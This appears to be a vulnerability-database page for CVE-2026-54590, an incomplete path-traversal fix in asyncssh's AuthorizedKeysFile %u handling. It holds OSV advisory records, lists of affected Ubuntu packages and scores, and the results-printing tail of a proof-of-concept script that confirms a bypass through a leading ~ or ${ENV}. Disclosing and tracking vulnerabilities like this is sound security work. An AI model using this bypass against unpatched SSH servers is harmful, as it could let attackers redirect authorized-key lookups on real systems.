----------------------------------------------------------\n print(\"\\n==== RESULTS ====\")\n ok = True\n for name, passed in results:\n print(f\" [{\u0027PASS\u0027 if passed else \u0027FAIL\u0027}] {name}\")\n ok = ok and passed\n print(\"\\nVERDICT:\",\n \"guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)\"\n if ok else \"one or more checks did not hold\")\n return 0 if ok else 1\n\n\n if __name__ == \"__main__\":\n sys.exit(main())\n```",
"id": "PYSEC-2026-3809",
"modified": "2026-09-10T11:01:58.329901Z",
"published": "2026-09-10T09:44:57.598850Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/security/advisories/GHSA-qr67-gv47-xwwh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54590"
},
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/commit/3d515ba9ba0cd9990d248bdf62bcf05d51261a88"
},
{
"type": "PACKAGE",
"url": "https://github.com/ronf/asyncssh"
},
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/releases/tag/v2.23.1"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/asyncssh"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-qr67-gv47-xwwh"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "asyncssh has an incomplete fix for CVE-2026-45309 \u2014 AuthorizedKeysFile %u still escapes the intended directory via a leading ~ (and weakly via ${ENV}) username substitution"
}
UBUNTU-CVE-2026-54590 (CVE-2026-54590)
Vulnerability from osv_ubuntu – Published: 2026-07-08 21:16 – Updated: 2026-07-15 17:53 – Source websiteAsyncSSH is a Python package which provides an asynchronous client and server implementation of the SSHv2 protocol on top of the Python asyncio framework. Version 2.23.0 contains an incomplete fix for CVE-2026-45309 in SSHServerConfig._set_tokens that blocks /, , and .. before %u substitution in AuthorizedKeysFile but does not block a leading ~ or ${ENV}, allowing later expansion in _expand_val and Path(filename).expanduser() to escape the intended authorized-keys directory. This issue is fixed in version 2.23.1.
{
"affected": [
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "python3-asyncssh",
"binary_version": "1.3.0-1"
}
]
},
"package": {
"ecosystem": "Ubuntu:16.04:LTS",
"name": "python-asyncssh",
"purl": "pkg:deb/ubuntu/python-asyncssh@1.3.0-1?arch=source\u0026distro=xenial"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.2.0-1",
"1.2.1-1",
"1.3.0-1"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "python3-asyncssh",
"binary_version": "1.11.1-1ubuntu0.1~esm2"
}
]
},
"package": {
"ecosystem": "Ubuntu:Pro:18.04:LTS",
"name": "python-asyncssh",
"purl": "pkg:deb/ubuntu/python-asyncssh@1.11.1-1ubuntu0.1~esm2?arch=source\u0026distro=esm-apps/bionic"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.8.1-2",
"1.11.0-2",
"1.11.1-1",
"1.11.1-1ubuntu0.1~esm1",
"1.11.1-1ubuntu0.1~esm2"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "python3-asyncssh",
"binary_version": "1.12.2-1ubuntu0.2"
}
]
},
"package": {
"ecosystem": "Ubuntu:20.04:LTS",
"name": "python-asyncssh",
"purl": "pkg:deb/ubuntu/python-asyncssh@1.12.2-1ubuntu0.2?arch=source\u0026distro=focal"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.12.2-1",
"1.12.2-1ubuntu0.1",
"1.12.2-1ubuntu0.2"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "python3-asyncssh",
"binary_version": "2.5.0-1ubuntu0.1+esm1"
}
]
},
"package": {
"ecosystem": "Ubuntu:Pro:22.04:LTS",
"name": "python-asyncssh",
"purl": "pkg:deb/ubuntu/python-asyncssh@2.5.0-1ubuntu0.1+esm1?arch=source\u0026distro=esm-apps/jammy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.5.0-1",
"2.5.0-1ubuntu0.1~esm1",
"2.5.0-1ubuntu0.1",
"2.5.0-1ubuntu0.1+esm1"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "python3-asyncssh",
"binary_version": "2.10.1-2ubuntu0.1+esm1"
}
]
},
"package": {
"ecosystem": "Ubuntu:Pro:24.04:LTS",
"name": "python-asyncssh",
"purl": "pkg:deb/ubuntu/python-asyncssh@2.10.1-2ubuntu0.1+esm1?arch=source\u0026distro=esm-apps/noble"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.10.1-2",
"2.10.1-2ubuntu0.1",
"2.10.1-2ubuntu0.1+esm1"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "python3-asyncssh",
"binary_version": "2.20.0-1"
}
]
},
"package": {
"ecosystem": "Ubuntu:25.10",
"name": "python-asyncssh",
"purl": "pkg:deb/ubuntu/python-asyncssh@2.20.0-1?arch=source\u0026distro=questing"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.20.0-1"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "python3-asyncssh",
"binary_version": "2.21.1-1"
}
]
},
"package": {
"ecosystem": "Ubuntu:26.04:LTS",
"name": "python-asyncssh",
"purl": "pkg:deb/ubuntu/python-asyncssh@2.21.1-1?arch=source\u0026distro=resolute"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.20.0-1",
"2.21.1-1"
]
}
],
"aliases": [],
"details": "AsyncSSH is a Python package which provides an asynchronous client and server implementation of the SSHv2 protocol on top of the Python asyncio framework. Version 2.23.0 contains an incomplete fix for CVE-2026-45309 in SSHServerConfig._set_tokens that blocks /, , and .. before %u substitution in AuthorizedKeysFile but does not block a leading ~ or ${ENV}, allowing later expansion in _expand_val and Path(filename).expanduser() to escape the intended authorized-keys directory. This issue is fixed in version 2.23.1.",
"id": "UBUNTU-CVE-2026-54590",
"modified": "2026-07-15T17:53:43Z",
"published": "2026-07-08T21:16:00Z",
"references": [
{
"type": "REPORT",
"url": "https://ubuntu.com/security/CVE-2026-54590"
},
{
"type": "REPORT",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54590"
},
{
"type": "REPORT",
"url": "https://github.com/ronf/asyncssh/commit/3d515ba9ba0cd9990d248bdf62bcf05d51261a88"
},
{
"type": "REPORT",
"url": "https://github.com/ronf/asyncssh/releases/tag/v2.23.1"
},
{
"type": "REPORT",
"url": "https://github.com/ronf/asyncssh/security/advisories/GHSA-qr67-gv47-xwwh"
}
],
"related": [],
"schema_version": "1.7.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "medium",
"type": "Ubuntu"
}
],
"upstream": [
"CVE-2026-54590"
]
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.